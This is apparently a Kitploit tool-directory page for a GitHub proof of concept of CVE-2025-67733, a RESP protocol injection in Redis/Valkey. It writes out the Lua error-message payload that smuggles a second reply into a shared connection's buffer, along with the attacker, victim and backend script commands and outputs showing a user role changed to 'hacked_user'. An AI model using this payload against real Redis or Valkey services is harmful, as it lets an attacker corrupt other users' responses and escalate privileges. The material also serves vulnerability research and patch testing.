Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/jylab/cve-2025-67733
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubjylab/cve-2025-67733

CVE-2025-67733

Redis/Valkey RESP Injection PoC (CVE-2025-67733)

View Repository
15 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

RESP Protocol Injection PoC

Proof-of-concept demonstrating RESP Protocol Injection vulnerability via Lua script error messages in Valkey/Redis.

Files

backend.py

Flask backend simulating a web application with shared Valkey connection (connection pooling).

Endpoints:

MethodEndpointDescription
POST/api/user/roleSet user role
GET/api/user/roleGet user role
POST/api/processExecute Lua script

Usage:

root@kitploit:~
python backend.py <Valkey host> <Valkey port> [password]

# Examples
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword

attacker_client.py

Injects malicious RESP data into the socket buffer via Lua script error message.

Payload:

root@kitploit:~
error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))

Usage:

root@kitploit:~
python attacker_client.py

victim_client.py

Legitimate client that sets and retrieves user roles.

Usage:

root@kitploit:~
python victim_client.py set    # Set role to "normal_user"
python victim_client.py get    # Get current role

Attack Demonstration

Prerequisites

root@kitploit:~
pip install flask requests

Steps

Terminal 1 - Start Backend:

root@kitploit:~
python backend.py 127.0.0.1 6379

Terminal 2 - Set Role:

root@kitploit:~
python victim_client.py set
# Output: 'role':'normal_user' has been set.

python victim_client.py get
# Output: 'role':'normal_user'

Terminal 3 - Attack:

root@kitploit:~
python attacker_client.py
# Output: Socket poisoning successful

Terminal 2 - Get Role (After Attack):

root@kitploit:~
python victim_client.py get
# Output: 'role':'hacked_user'

Attack Flow

root@kitploit:~
1. Victim sets role
   victim_client.py set --> backend --> Valkey
                                        SET user:user:role "normal_user"

2. Attacker injects payload
   attacker_client.py --> backend --> Valkey
                                      EVAL 'error(...)' 0

   Backend reads: "-ERR INJECTED\r\n"
   Buffer remains: "$11\r\nhacked_user"

3. Victim gets role
   victim_client.py get --> backend --> Valkey
                                        GET user:user:role

   Backend reads from buffer: "$11\r\nhacked_user"
   Victim receives: "hacked_user"
Download Tool